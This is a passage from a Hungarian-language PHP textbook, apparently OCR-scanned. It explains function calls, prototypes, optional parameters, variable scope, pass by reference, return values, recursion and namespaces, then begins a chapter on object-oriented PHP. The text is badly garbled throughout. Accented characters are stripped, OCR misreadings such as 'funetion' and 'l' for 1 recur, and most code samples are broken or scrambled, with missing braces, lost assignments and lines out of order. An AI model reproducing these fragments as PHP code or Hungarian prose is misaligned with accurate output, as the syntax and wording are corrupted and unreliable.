esetn is a beolvass s a feldolgozs, gy e rugalmassg ra a teljestmny cskkense lehet.
Fggvnyhvs
Az albbi sorban a lehet legegyszerbb fggvnyhvsr ltjuk:
fuggveny_nev();
Ez a kdsor a fuggveny _nev nev, paramtert nem ignyl fggvnyt hvja meg. Nem foglalkozik a fggvny ltal esede
gesen visszaadott rtkkel sem.
Szmos fggvnyt pontosan ezen a mdon hvunk meg. Tesztelshez gyakran jl jn a phpinfo() fggvny, mert meg
jelenti a teleptett PHP verziszmt, informcit ad a PHP-rl, a webszerver belltsrl, illetve kirja klnbz PHP s
szervervltozk rtkr. Ez a fggvny paramtert nem fogad, s jellemzen figyelmen kvl hagyjuk a visszatrsi rtkr, gy
A legtbb fggvny azonban egy vagy tbb paramtert vr - ezek a fggvnyek inpugai, azaz bemeneti adatai. A param
terek tadsa gy trtnik, hogy az adatot vagy az azt tartalmaz vltoz nevt a fggvnynv utni zrjelek kz helyezzk.
Egyetlen paramtert fogad fggvnyt a kvetkezkppen hvhacunk meg:
fuggveny_nev('parameter');
Az itt hasznlt paramter egy, a kizrlag a parameter szt tartalmaz karakterlnc, de a fggvny ltal vrt paramtertl
fggen az albbi fggvnyhvsok is megfelelk lehetnek:
fuggveny_nev(2);
fuggveny_nev(7.993);
fuggveny_nev($valtozo);
Az utols sorban lthat $valtozo brmilyen tpus PHP vltoz lehet, akr tmb vagy objektum is.
A paramterek brmilyen adattpusak lehetnek, de egy adott fggvny ltalban meghatrozott adattpust vr.
A fggvny prototpusbl kiderl szmunkra, hogy a fggvny hny paramtert vr, mit jelkpeznek ezek a paramterek, s
milyen adattpusak kell, hogy legyenek. Knyvnkben az egyes fggvnyek bemutatsnl gyakran megadjuk prototpusukat is.
Az fopen () fggvny prototpusa a kvetkez:
resource fopen ( string fajlnev,
[,
string mod
[,
resource kezelesi_mod]])
A prototpus temrdek informcit kzl velnk, ezrt klnsen fontos, hogy megfelelen rtelmezzk. Jelen esetben
a fggvnynv eltt lthat resource sz jelzi, hogy a fggvny forrst (vagyis egy nyitott fjlvlcozt) fog visszaadni.
A fggvnyparamterek a zrjelek kzte tallhatk. Az fopen( ) esetben ngy paramtert mutat a prototpus. A faj lnev
s amod paramter string, a use_include_path Boolean, a kezelesi_mod paramter pedg resource tpus. A use_
include_path s kezelesi_mod paramtert krlvev szgletes zrjelek jelzik, hogy opcionlis, vagyis nem ktelez
paramterrel llunk szemben. Az ilyeneknl vagy megaeljuk rtkket, vagy nem foglalkozunk velk, s akkor alaprtelmezett
rtkket fogjk hasznlni. Fontos tudni azonban, hogy tbb opcionlis paramterrel rendelkez fggvny esetn csak jobbrl
haladva hagyhatjuk ki ezeket a paramtereket. Az fopen () hasznlata esetn pldul kihagyhaguk csak a kezelesi_mod
paramtert vagy a use_include_path s a kezelesi_mod paramtert; az azonban nem lehetsges, hogy a use_
include_path paramtert kihagyjuk, a kezelesi_mod - ot viszont nem.
97
A fuggvny protopusnak ttekintse utn mr tU<ljuk, hogy a kvetkez kdrszlet az fopen ( ) fggvny rvnyes hvsa:
$nev =
'sajatfajl.txt';
$megnyitasi_rnod =
$fp
fopen ($nev,
'r';
A fenti kd az fopen () nev fggvnyt hvja meg. A fggvny ltal visszaadott rtk
az
$fp
A pldban gy dntttnk, hogy a fggvnynek a string rpus $nev vltozban tadjuk a megnyitni kvnt fjl nevt,
a $megn yitasi_rnod nev, szintn string rpus vltozban pedig a kvnt fjlnyitsi mdot hatrozzuk meg. A pldban
a harmadik s a negyedik paramtert nem adtuk meg.
az
F&a.....-c.IIIO_......_..._.......O"'-"-.,..-""-:J.,.ro_foto-ol
-----j
5.3 bra: Nem ltez fggvny hvsa esetn ez a hibazenet lesz az eredmny.
A PHP ltal adott hibazenetek jellemzen nagyon hasznosak. Az brn lv kzli, hogy pontosan melyik fjlban, a kd
melyik sorban kvetkezett be a hiba, s mi a neve a fggvnynek, amir megksreltnk meghvni. Ezen informci birtokban
viszonylag egyszeren megtallhat s orvosolhat a problma.
Ha hibazenetet kapunk, ellenrizzk az albbiakat:
Elfordulhat, hogy nem jl emlksznk r, hogyan kell az adott fggvny nevt rni. Pldul egyes, kt szbl ll fgg
vnynevek esetn alulvons van a szavak kztt, msoknl nincsen. A stripslashes () fggvnynl egyberjuk a kt szt,
a strip_ta gs () esetben alulvons kerl kzjk. Ha fggvnyhvskor elrjuk a fggvny nevt, az 5.3 brn lthathoz
hasonl hibazenetet kapunk.
A knyvben hasznlt fggvnyek nmelyike nem ltezik PHP4-ben, mert felttelezzk, hogy olvasink a PHP 5-s verzi
a tbb funkci s a jobb teljestmny rniatt rdemes frissteni. Az online kziknyvbl megrudhatjuk, hogy egy adott fggvny
mikor jelent meg. Az ppen futtatott verziban nem deklarlt fggvny meghvsa az 5.3 brn lthat hibhoz hasonlhoz
vezet.
A hibazenet megjelensnek egy msik lehetsges oka, hogy a meghvott fggvny egy be nem tlttt PHP bvtmny r
sze. Ha pldul a gd (kpkezel) knyvtr fggvnyeit prbljuk meg hasznlni, de nem teleptettk a gd-t, akkor is a fentihez
hasonl hibazeneret kapunk.
az
az
ra! E knyv - akrcsak a PHP dokumentcik nagy rsze - csupa kisbetvel szedi a fggvnyneveker.
Fontos megemlteni, hogy e tekintetben a fggvnynevek a vltoznevektl eltren viselkednek. A vltoznevek esetben
megklnbztek a kis- s nagybetket, gy a $Nev s a $nev kt eltr vltoz, de a Nev ( ) s a nev ( ) ugyanaz a fggvny.
l 5
98
5. fejezet
A PHP beptett fggvnyei lehetv teszik a fjlkezelst, adatbzisok hasznlatr, grafikk ltrehozst s a ms kiszolg
lkhoz csatlakozst. Munknk sorn azonban gyakran elfordul, hogy a nyelv megalkoti lcal elre nem lthat feladatot kell
elvgeznnk.
Szerencsre a fggvnyek hasznlata nem korltozdik pusztn a beptercekre; sajt fggvnyeket rva tetszleges feladatot
hajtharunk vgre velk. Kdunk jellemzen a meglv s s:Yt, az elttnk ll feladatra rt fggvnyek kombincijbl ll
ssze. Ha olyan kdblokkot runk egy konkrt clra, amit kdunkban s esetleg programjainkban tbbszr is hasznlni kv
nunk, rdemes fggvnyknt deklarlni.
A fggvnyknt deklarls lehetv teszi, hogy sajt kdunkat a beptett fggvnyekhez hasonlan vegyk ignybe. Egy
szeren meghvjuk fggvnynket, s megadjuk a szmra szksges paramtereket. Ezt azt jelenti, hogy kdunkat brmikor
meghvhatjuk, s hasznlhatjuk fggvnyeinket.
Fggvnyek alapszerkezete
A fggvnydeklarlssal j fggvnye hozunk ltre. A deklarls a funetion kulcsszval kezddik, majd megadjuk a fggvny
nevt, a fggvny ltal vrt paramtereket s a fggvnyhvskor vgrehajtand kdot.
Nzznk pldt egy trivilis fggvnydeklarlsra:
funet1on sajat fuggveny()
A fggvnydeklarls azrt kezddik a funetion szval, hogy a programoz s a PHP rtelmez egyarnt tisztban
legyen azzal, hogy felhasznl ltal definilt fggvny kvetkezik. A fggvny neve saj at_fuggveny. Az j fggvny a kvet
kez utastssal hvhat meg:
sajat fuggveny();
Mint bizonyra ki talltuk, e fggvny meghvsa azzal az eredmnnyel jr, hogy bngsznkben megjelenik a Megh v tuk
fggvnynket szveg.
A beptett fggvnyek minden PHP kdbl elrhetk, m ha sajt fggvnyeket deklarlunk, csak azon kd(ok) szmra
lesznek elrhetk, amely(ek) ben deklarltuk azokat. Clszer a gyakran hasznlt fggvnyeinket egy vagy tbb fjlban eltrol
ni. Ha gy tesznk, kdjainkban a require () utastssal elrhecv tehetjk az ppen szksgess vl fggvnyeket.
A fggvnyen bell kapcsos zrjelek kz kerl a kvnt feladatot vgrehajt kd. Ezen kapcsos zrjelek kz a PHP-ben
rvnyes brmilyen kdot rharunk, legyen az fggvnyhvs, j vltozk deklarlsa, fggvny, require () vagy inelude ()
utasts, osztlydeklarls vagy egyszer HTML. Ha fggvnyen bell ki szeretnnk lpni a PHP-bl, s egyszer HTML
kdot szeretnnk berni, ugyangy tehetjk meg ezt, mint a kd brmely ms rszn- a HTML el zr PHP cmkt (tag)
kell helyeznnk. A kvetkez kdrszlet az elz plda megengedett, ugyanazt a kimenetet eredmnyez mdostsa:
<?php
funetion sajat_fuggveny()
?>
Meghvtuk fggvnynket
<?php
)
?>
Figyeljk meg. hogy a PHP kd a nyit s zr PHP cmkepr kz kerlt! A knyvben szerepl, kdrszleteket hasznl
pldk tbbsgnl nem rjuk ki a cmkket. Irc azrt szerepelnek mgis, mert a pldban, illetve eltte s utna is szksg van
rjuk.
Fggvnyeink elnevezse
Fggvnyeink elnevezsnl a legfontosabb szem pont, hogy rvid, mgis beszdes nevet talljunk ki. Ha fggvnynk oldalfej
lcet hoz ltre, akkor az oldalfejlee() vagy az oldal_fejlee() nv egyarnt megfelel lehet.
Az albbi korltozsokat mindenesetre figyelembe kell vennnk:
Fggvnynk neve nem egyezhet meg mr meglv fggvnyveL
A fggvnynv csak betket, szmjegyeket s alulvonst tartalmazhat.
A fggvnynv nem kezddhet szmmal.
Sok programnyelv megengedi a fggvnynevek jbli hasznlatr. Ezt a funkeit Jggvnyek
tbbszrs definilsnak
(function overloading) nevezik. A PHP azonban ezt nem tmogatja, gy fggvnynknek nem lehet ugyanaz a neve, mint egy
99
beptett vagy felhasznl ltal deklarlt, meglv fggvny. Ne feledjk azonban azt sem, hogy a beptett fggvnyeket min
den PHP kd ismeri, a felhasznl ltal definilt fggvnyek viszont csak azokban a kdokban lteznek, ahol deklarlva lettek!
Ez lnyegben azt jelenti, hogy msik fjlban ugyan jbl felhasznlhatjuk ugyanazt a fggvnynevet, m ez kavarodshoz
vezethet, gy ajnlott elkerlni.
A kvetkez fggvnynevek mind rvnyesek:
nev()
nev2()
nev_harom()
nevnegy()
(Az utols akkor lenne megengedett, ha nem ltezne ugyanilyen nev, beptett fggvny.)
rdemes megjegyezni, hogy br a $nev nv fggvnynek nem adhat, egy
$nev();
nev fggvny a $nev rtktl fggen minden tovbbi nllel vgrehajtdhat. Ez azrt lehetsges, mert a PHP veszi a $nev
vltozban eltrolt rtket, ilyen nev fggvnyt keres, majd megprblja meghvni. Az ilyen tpus fggvnyeket fggvnyvlto
zknak (variable function) nevezzk, s bizonyos helyzetekben igen hasznosak lehetnek szmunkra.
Paramterek hasznlata
Feladatuk vgrehajtshoz a fggvnyek tbbsge egy vagy tbb paramtert ignyel. A paramterekkel adatot adhatunk t
a fggvnyeknek. Nzznk pldt paramtert vr fggvnyrel Az irt lthat fggvnynek egydimenzis tmbt adunk t, amit
tblzatknt jelent meg:
function tablazat keszitese($adat)
current($adat);
while ($ertek)
"
echo "<tr><td>".$ertek."<ltd><ltr>\n";
$ertek
next($adat);
echo "<ltable>";
tablazat_keszitese($sajat_tomb);
az
IF
A paramtertadssal a fggvnyen kvl ltrehozort adatot vihernk a fggvnybe.Jelen esetben az $adat tmbben lv
adatokat adjuk a fggvnynek.
A beptert fggvnyekhez hasonlan a felhasznl ltal rt fggvnyek is fogadhatnak tbb paramtert, s lehetnek ezek
kzt opcionlisak is. A tabla z at_keszitese() fggvnyt tbbflekppen tovbbfejleszthegk; az egyik lehetsg, ha
a fggvnyt meghv programoz bellthatja a tblzat szeglyt vagy ms tulajdonsgt. Nzzk a fggvny egy bvtert
vlrozatt, amely az elzhz hasonl, m lehetv teszi, hogy opcionlisan meghatrozzuk a tblzat szeglynek vastagsgt,
illetve a cellk kztti tvolsg ( cellspacing) s a behzs (a cella szeglye s tartalma kztti tvolsg- cellpadding) rtkti
100
5. fejezet
<?php
function tablazat keszitese2{$adat,
$border=l,
$cellpadding=4,
$cellspacing=4
hile {$ertek)
echo "<tr><td>".$ertek."</td></tr>\n";
$ertek
next{$adat);
echo "</table>";
3,
8,
8);
A tablazat_keszite se2{) els paramtere tovbbra is ktelez. A kvetkez hrom viszont opcionlis, mivel megha
troztuk alaprtelmezett rtkeiket. Az 5.4 brn lthathoz hasonl kimenetet hozunk ltre a tablazat_keszitese2{)
fggvny albbi meghvsval:
tablazat keszitese2{$sajat_tomb);
3,
8,
8);
Nem szksges rninden opcionlis rcket megadnunk; megtehecjk, hogy nmelyiket megadjuk, msikakat nem. A para
mterek kiosztsa balrl jobbra trtnik.
Ne feledjk: nem tehetjk meg azt, hogy az egyik opcionlis paramcert kihagyjuk, de egy attl jobbra es paramtert
megadunk! Ha pldnkban szeretnnk megadni a cellspacing tulajdonsg rtkr, akkor a cellpadding rtkt sem
hagyhatjuk ki. Gyakori ez a programozsi hiba. Ez az oka annak is, hogy az opcionlis paramterek a paramterlista vgre
kerlnek.
Az albbi fggvnyhvs:
tablazat_keszitese2{$sajat_tomb,
3);
teljesen helyes, eredmnyekppen a$ border rckt 3-ra, a$ cellpadding s a $cellspacing tulajdonsgot pedig
alaprtelmezett rckre llitjuk.
Vltoz szm paramtert elfogad fggvnyeket is deklarlhatunk. Hrom segdfggvny hasznlatval derthetjk ki,
hogy hny paramter tadsa trtnt meg, s rnik ezeknek az rtkei. E hrom segdfggvny a kvetkez: fune_num_
args{),func_get_arg{) sfunc_get_args{).
A fggvny kzli a neki tadoct paramcerek szmt, illetve megjeleniti azokat. A fune_num_args{) fggvny az radott
fggvnyek szmt, a fune_get_args{) fggvny pedig az argumentumok tmbjt adja vissza. A fune_get_arg{) fgg
vnnyel egyenknt rhetjk el a paramtereket, mgpedig gy, hogy a fggvnynek az elrni kivnt argumentum szmt adjuk
t. (Az argumentumok szmozsa nullval kezddik.)
A hatkr fogalma
szrevehecck, hogy arnikor beillesztett vagy begyazott fjlon bell kellett hasznlnunk a vltozkat, egyszeren
a require{) vagy az inelude{) utasts eltt lv kdban deklarltuk azokat. Fggvny hasznlatakor kzvetlenl a fgg-
101
vnynek adtuk t a vltozkat, egyrszt azrt, mert nincsen mechanizmus arra, hogy explicit mdon adjunk t vltozkat beol
vasott vagy begyazott fjlnak, msrszt pedig azrt, mert a vltozhatkr fggvnyek esetn mskppen mkdik.
A vltoz hatkre szablyozza, hogy az adott vltoz hol lthat s hasznlhat. Az egyes programozsi nyelvek eltr
szablyokat alkalmaznak a vltozk hatkrnek meghatrozsra. A PHP viszonylag egyszer szablyokat hasznl:
A fggvnyerr bell deklarlt vltozk hatkre a vltozkat deklarl urasrstl a fggvnyzr kapcsos zrjeiig ter
jed. Ezt fggvnyszint hatkrnek (funcrion scope), az ilyen vltozkar pedig helyi vltozknak (local variable) nevezzk.
A fggvnyeken kvl deklarlt vltozk hatkre a vltozkat deklarl utastsrl a fjl vgig terjed, de fggvnye
ken bell nem lthatk. Ezt globlis hatkrnek (global scope), az ilyen vltozkat pedig globlis vltozknak (global
variable) nevezzk.
A klnleges szupergloblis vltozk fggvnyeken bell s kvl is lthatk. (Az ilyen vltozktl tovbbi informcit
az els- PHP gyorstalpal cm- fejezerben tallunk.)
A require () s az include ( ) utasts hasznlata nem befolysolja a harkrt. Ha az utasrsokat fggvnyerr bell
acijuk k, a fggvnyszint hatkr lesz rvnyben. Amennyiben fggvnyerr kvl hasznljuk, a globlis hatkr lesz
rvnyben.
A global kulcsszval sajt kezleg llthatjuk be, hogy a ltrehozott vagy fggvnyerr bell hasznlt vltoz globlis
harkrrel rendelkezzk.
A vltozkat az un set ($valto z o_neve) fggvny meghvsval sajt kezleg trlhegk. Az gy kikapcsolt vltoz
nak nincsen harkre.
$var = "tartalom";
fn () ;
echo $var;
A kvetkez plda ennek fordtorga. Itt a fggvnyerr kvl deklarljuk a vltozt, majd megprbljuk a fggvnyerr bell
hasznlni:
<?
function fn ( )
{
\$var = ".$var."<br />";
echo
$var
"tartalom 2";
fggvnyerr bell,
"tartalom
l";
fn ();
echo "fggvnyen kivl,
\$var
".$var."<br />";
E kd kimenere a kvetkez:
fggvnyerr bell,
$var
fggvnyerr bell,
$var
tartalom 2
fggvnyerr
$var
tartalom
kivl,
nev, globlis hatkr s "tartalom l" tartalm vltozt hozza ltre. A kvetkezknt vgrehajtott utasts az fn ()
fggvny meghvsa. A fggvnyerr belli sorok sorban hajtdnak vgre. A fggvnyben az els sor a $var nev vltozra ural.
E sor vgrehajtdskor nem lthatja a korbban ltrehozort $var vlrozt, gy ltrehoz egy j, fggvnyszint vltozt, s
megjelenti azt. gy jn ltre a kimenet els sora.
A fggvnyerr belli kvetkez sor a $var tartalmt
a helyi, nem pedig a globlis $var rtkt vltoztatja meg. A kimenet msodik sora tanstja, hogy a vltoztats megrrtnt.
A fggvny ezzel vget rt, gy a kd utols sora hajtdik vgre. Az itt lv echo utasts mutatja, hogy a globlis vltoz
rtke nem mdosulr.
Ha azt szerernnk, hogy egy fggvnyben ltrehozott vltoz globlis legyen, a global kulcsszr kell hasznlnunk az alb
biak szerint:
102
5. fejezet
function fn ()
global $var;
"tartalom";
$var
\$var
".$var."<br
/>";
fn();
echo
"fggvnyen kivl,
Ebben a pldban a $var vltozt kifejezetten globlisknt definiltuk, ami azt jelenti, hogy a fggvny meghvsa utn
a vltoz a fggvnyerr kivl is ltezik. A kd kimenere a kvetkez lesz:
fggvnyerr bell,
$var
fggvnyerr kivl,
$var = tartalom
tartalom
alatt is deklarlhatjuk. (A fggvnyek hatkre egyltaln nem gy mkdik, mint a vltozk.) A fggvny deklarlsnak
helye lnyegtelen; ami szmt, hogy hol hvjuk meg a fggvnyt, s ezltal hol hajtjuk vgre a benne lev kdot.
A global kulcsszt azon kd elejn is alkalmazhatjuk, ahol a vltozt elszr hasznljuk, hogy ezzel deklarljuk: a vlto
z hatkre az egsz kdra kiterjed. Ez a kulcssz hasznlatnak taln leggyakoribb mdja.
Az elz pldkbl kiolvashattuk, hogy elmletileg semmilyen problmt nem okoz, hogy ugyanazt a vltoznevet fggv
nyen bell s fggvnyen kivl, kt klnbz vltoznak adjuk. Azonban mgsem clszer ezt tenni, mert kdunk gondos
vgigolvassa s a hatkr tgondolsa nlkl msok azt felttelezhetik, hogy a kt vltoz egy s ugyanaz.
$mennyiseg
l)
Ennek a kdnak semmilyen haszna nincsen, hiszen a kvetkez pldakd kimenere l O lesz:
$ertek
10;
noveles($ertek);
echo $ertek;
Az $ertek rtke a hatkr szablyai rniatt nem vltozott. A fenti kd ltrehoz egy $ertek nev vltozt, amelynek rtke
10. Ezt kveten meghvja a noveles () fggvnyt. A fggvnyen belli $ertek vltoz a fggvny meghvsakor jn ltre.
A fggvny hozzad egyet, gy az $ertek rtke a fggvnyen bell lllesz a fggvny vgig; ezt kveten visszatrnk a fgg
vnyt meghv kdhoz. Az ebben a kdban lv $ertek egy msik, globlis hatkr vltoz, amelynek gy nem vltozott az
rtke.
A problma egyik lehetsges megoldsa, ha globlisknt deklarljuk a fggvnyben az $ertek vltozt, de ez azt jelenti,
hogy a fggvny hasznlathoz a megnveini kvnt vltoznak $ertek nevnek kellene lennie.
A fggvnyparamterek meghvsnak ltalnos mdja az rtkszerinti paramtertads (pass by value). Paramter tadsa
kor egy j, az radott vltoz rtkt tartalmaz vltoz jn ltre. Ez az eredeti msolata. Tetszs szerint mdosthatjuk ennek
rtkr, de az eredeti, a fggvnyen kvli vltoz rtke vltozadan marad. (Valjban ez enyhe leegyszerstse annak, amit
a PHP tnylegesen vgez.)
Ennl jobb megkzelts azonban a cmszerinti paramtertads (pass by reference). Ebben az esetben paramtertadskor
a fggvny - j vltoz ltrehozsa helyett - az eredeti vltozra mutat hivatkozst kap. Ez a hivatkozs egy dollrjellel ( $ )
kezdd vltoznvvel br, s brmilyen ms vltozhoz hasonlan hasznlhat. A klnbsg annyi, hogy sajt rtke nem
lvn pusztn hivatkozik az eredeti vltozra. A hivatkozsen vgrehajtott minden mdosts az eredeti vltozt is rinti.
A cm szerinti paramtertadshoz s (&) jelet helyeznk a fggvny definilsakor a paramter neve el. A fggvnymegh
vs ugyangy trtnik.
Ha az elz noveles () fggvnyt gy mdostjuk, hogy az egyik paramtertads cm szerint trtnik, mris hibtlanul
mkdik:
function noveles(&$ertek,
$mennyiseg
l)
103
Immr mkd fggvnynk van,s a megnveini kvnt vltoznak tetszs szerinri nevet adhatunk. Ahogy korbban em
ltettk,zavar lehet az emberek szmra,ha ugyanazt a nevet hasznljuk fggvnyen bell s kvl, ezrt adjunk a f kdrsz
letben lv vltoznak j nevet! A kvetkez pldakd a neveles () meghvsa eltt 10-et, utna azonban ll-et r ki:
10;
$a =
A r e t u r n kulcss2; has2;nlata
A return kulcssz meglltja a fggvny vgrehajtst. Amikor egy fggvny vget r- vagy azrt, mert minden benne lv
utasts vgrehajtdott, vagy a return kulcssz hasznlata miatt-,a vgrehajts visszatr a fggvnyhvs utni utastsra.
()
Nyilvnvalan ez nem tl rtelmes mdja a return hasznlatnak. Normlis esetben csak adott felttel teljeslse esetn
kvnunk a fggvny kzepn kilpni. Amikor pldul olyan fggvnyt runk,amelyik meghatrozza,hogy kt szm kzl
melyik nagyobb,rdemes lehet kilpni, ha brmely szm hinyzik:
function nagyobb( $x,
if (
$y )
(! isset($x)) l l
echo "Ehhez a
(! isset($y))) {
fggvnyhez
return;
if ($x>=$y)
echo $x."<br/">;
else
echo $y."<br/">;
Az isset() beptett fggvny kzli,hogy az adott vltoz ltre lett-e hozva,illetve rendelkezik-e rtkkel. A kd hiba
zenetet ad s visszatr, ha a paramterek brmelyikhez nem rendeltek rtket. Ezt az
amelynek jelentse,.NEM isset ();gy az if utasts a kvetkezkppen olvashat:,.ha x nem ltezik, vagy y nem ltezik:'
return utasts vgrehajtsa esetn a fggvnyben utna kvetkez sorok nem hajtdnak vgre. A programvgrehajts
visszatr a fggvny meghvsnak pontjra. Ha mindkt paramter ltezik,a fggvny kirja a kett kzl a nagyobbat.
Az albbi kd:
$a =
l;
$b =
2.5;
nagyobb($a,
$b);
nagyobb($c,
$a);
nagyobb($d,
$a);
$c =
1.9;
kmenete a kvetkez:
2.5
1.9
Ehhez a fggvnyhez
rtkvisszaads fggvnyekbl
A return hasznlatnak nem a fggvnyekbl val kilps az egyetlen oka. Sok fggvny return utastsokkal kommu
nikl az ket meghv kddal. A nagyobb () fggvny valamivel hasznosabb lenne, ha a benne lv sszehasonlts eredm
nynek kirsa helyett a vlaszt adn vissza. Ekkor a fggvnyt meghv kd eldnthern, hogy megjelenti vagy felhasznlja az
eredmnyt, illetve hogyan teszi mindezt. Az ennek megfelel max() beptett fggvny is gy mkdik.
104
5. fejezet
$y)
if ((!isset($x)) ll
{!isset($y)))
return false;
else if ($x>=$y)
return $x;
else
return $y;
Itt a fggvny a kt tadoct rtk kzl a nagyobbat adja vissza. Hiba esetn nyilvnvalan ms rtkkel tr vissza. Ha br
melyik szm hinyzik, visszatrsi rtke hamis. (Ennl a megkzetsnl a fggvnyt meghv programoznak=== oper
torral kell ellenriznie a visszaadott rtk tpust, hogy a hamis rtker ne keverje ssze a nullval.)
sszehasonltskppen: a max() beptett fggvny semmit nem ad vissza, ha egyik vltoz sem ltezik, ha pedig csak az
egyik ltezik, akkor azt adja vissza.
Az albbi kd:
$a = l;
$b = 2.5;
$c = 1.9;
echo nagyobb($a,
$b). '<br
echo nagyobb($c,
/>';
echo nagyobb($d,
Az olyan fggvnyek, amelyek valamilyen feladatot vgrehajtanak, de rtket nem kell visszaadniuk, gyakran true vagy
false visszatrsi rtkkel jelzik, hogy sikerlt-e a feladatot vgrehajtaniuk. A true s false, azaz igaz s hamis boole-i
Rekurzi megvalstsa
A PHP tmogatja a rekurzv fggvnyeket. Rekurzv fggvnyeknek az nmagukat meghv fggvnyeket nevezzk. Klnsen
hasznosak az olyan dinamikus adatszerkezetekben val naviglshoz, mint a lncolt lisrk s a fk.
Mindazonltal kevs webes alkalmazs ignyel ilyen sszetettsg adatszerkezetet, gy kevs esetben fogjuk a rekurzinak
hasznt venni. Sok esetben hasznlharunk iterci helyett rekurzit, mert mindkt folyamat lehetv teszi, hogy ismtlden
hajtsunk vgre valamit. A rekurzv fggvnyek azonban lassabbak, s tbb memrir hasznlnak, mint az iterci, ezrt ahol
csak lehetsges, rdemes ez utbbi mellett dnteni.
A teljessg kedvrt tekintsk t az 5.5 pldakdban lv, rvid pldt!
5.5 pldakd: rekurz i o. php
<?php
{
l));
fordit_r(substr($str,
echo substr($str,
0,
l);
return;
echo substr($str,
return;
$i<=strlen($str);
-$i,
l);
$i++)
105
fordit r('Hello');
fordit_i('Hello');
Az 5.5 pldakd kt fggvnyt hoz ltre. Mindkett fordtva rja ki a neki radott karakterlncot. A
rekurzv, a
A
fordit _i
fordit_r()
ford i t_r
() fggvny
() pedig iterav.
fggvny karakterlncot fogad paramterknt. Meghvsakor meghvja sajt magt, minden egyes alkalom
A fggvny minden egyes sajt meghvsa a fggvny kdjnak jabb msolatt hozza ltre a szerver memrijban, minden
esetben azonban ms paramterrel. Olyan, mintha azt tettetnnk, hogy minden alkalommal egy msik fggvnyt hvunk meg.
Ezzel elzi meg. hogy a fggvny pldnyai sszekeveredhessenek.
Minden meghvsnl teszteli az tadoct karakterlnc hosszt. Amikor elrjk a szering vgt ( strlen ()==0), a felttel nem
teljesl. Ekkor a fggvny legutols pldnya
a neki radott karakterlnc els karaktert; jelen esetben nincs ilyen karakter, mivel a karakterlnc res.
Ezt kveten ezen fggvnypldny visszaadja a vezrlse az t meghv pldnynak, jelesen a
nek. Ez kirja a karakterlncnak-
"
"o -
fordit_r ('o')
fggvny
A folyamat- egy karakter kirsa, majd visszatrs a meghvsi sorrendben felette lv fggvnypldnyhoz- mindaddg
folytatdik, amg a vezrls vissza nem tr a f programhoz.
A rekurzv megoldsok bizonyos szempontbl nagyon elegnsak s matematikaiak. A legtbb esetben azonban jobban
jrunk az iteratv megolds vlasztsval. Egy ilyennek a kdjt is lthatjuk az 5.5 pldakdban. Megfigyelhetjk, hogy nem
hosszabb (br ez nem minden esetre lesz igaz), s pontosan ugyanazt teszi. A legfontosabb klnbsg. hogy a rekurzv fggv
nyek msolatot ksztenek maguktl a memriba, s tbb fggvnyhvssal terhelik a szervert.
Abban az esetben dnthetnk a rekurzv megolds mellett, arnikor a kclja sokkal rvidebb s elegnsabb, mint az iterav
vltozat, de ez az ltalunk ksztett alkalmazsok esetn viszonylag ritkn fog elfordulni.
Br a rekurzi elegnsabbnak hat, a programozk gyakran elfelejtik megadni hozz a zr felttelt. Ennek eredmnyekppen
a fggvny a maximlis vgrehajtsi id elrsig vagy a szerver memrijnak elfogysig ismddik.
Nvterek
A nvtr (namespace) ltalnossgban azonosrk csoportjt tartalmaz absztrakt trol; PHP-ben ez azt jelenti, hogy a nv
terekben az ltalunk meghatrozott fggvnyeket, llandkat s osztlyokat trolhatjuk. Rendezsi s szervezsi szempontbl
szmos elnnyel jr, ha az ltalunk definilt fggvnyekhez s osztlyokhoz nvtereket hozunk ltre:
Az ugyanabban a nvtrben lv minden fggvny, osztly s lland eltagknt automatikusan megkapja a nvtr nevt.
A nem minstett osztly-, fggvny s llandnevek feloldsa futsidben trtnik, s a keress elszr a nvtrben
megy vgbe, csak utna a globlis trben.
A nvterek PHP-beli hasznlatrl tovbbi informcit, illetve gyakorlati pldkat tallunk a PHP kziknyvnek
hrtp://www.php.net/language.namespaces cmen elrhet rszben.
Tovbbi olvasnival
Az include(), require(),
function
szeretnnk mlyebben megismerni az olyan, tbb nyelvet rint fogalmakat, mint a rekurzi, a cm s rtk szerinti tads vagy
a hatkr, rdemes fellapozni egy j ltalnos informatikai szakknyvet, pldul Paul Deitel s Harvey Deitel C++ How to
Program cm kiadvnyt
106
5. fejezet
Hogyan tovbb:
Mivel mr kpesek vagyunk a kdunkat kezelhetbb s jrahasznlhatv tev fjlbeillesztsekkel s fggvnyekkel dolgozni,
a kvetkez fejezetben megismerkednk az objektumorientlt programozssal, illetve annak PHP-beli tmogatsvaL Objek
tumok hasznlatval az ebben a fejezetben bemutatott fogalmakhoz hasonl clokat rhetnk el, m sszetett projektek esetn
az objektumok tovbbi elnyket knlnak szmunkra.
5
_
6
Objektumorientlt PHP
A fejezet az objektumorientlt
A PHP a teljes mrtkben objektumorientlt programozsi nyelvektl elvrt minden ilyen funkcit nyjtani kpes. Ahogy
vgighaladunk a fejezeten, e funkcik mindegyikt egyenknt bemutatjuk.
Az albbi fbb tmakrket trgyalj uk:
Objektumorientlt programozsi fogalmak
Osztlyok, attribtumok s metdusok
Osztlytulajdonsgok
Osztlyon belli konstansok
Osztlymetdus hvsa
rklds
Hozzfrs-mdosrk
Statikus metdusok
Tpusjelzs
Ksi statikus ktsek
Objektumklnozs
Elvont osztlyok
Osztlytervezs
Osztlytervnk megvalsrsa
Halad objektumorientlt funkcik
Osztlyok s objektumok
Objektumorientlt programozsban objektum szinte brmilyen elem vagy fogalom lehet - fizikailag ltez objektum, pldul
asztal vagy gyfl; vagy kizrlag szoftverben ltez fogalmi objektum, pldul szvegbevireli terlet vagy fjl. ltalnossgban
az
olyan objektumok fognak bennnket leginkbb rdekeini - legyenek azok vals vilgbeli vagy fogalmi objektumok-, ame
108
6.
fejezer
gyrz hatst vlchar ki, de a zrrsg elve garanrlja, hogy a projekt tbbi rszr rinredenl hagyva hajtsuk vgre vlroztat
sainkar, s kijavtsuk hibinkar.
A szofrverfejleszrs egyb terlerein az objektumorientlt programozs az alap - a procedurlis vagy strukrurlr program
elavulrnak tekinrett. A webes kdok nagy rszt azonban mg mindig a strukturlt mdszerrant kvet ad hoc megkzeltssel
tervezik s rjk.
Szmos oka van ezen megkzelts hasznlatnak. A webes projektek nagy rsze viszonylag kicsi s egyszer. Mindennem
tervezs nlkl foghatjuk a frszt, s elkszrhetnk egy fa fszertartt, s kis mretkbl addan ugyanilyen sikeresen be
fejezhetjk a webes programozsi feladataink tbbsgt is. Ha azonban megragadjuk a frszt, majd minden elzetes tervezs
nlkli megprblunk felpteni egy hzat, minden bizonnyal gyatra vgeredmnnyel zrjuk a munkt, mr ha egyltaln br
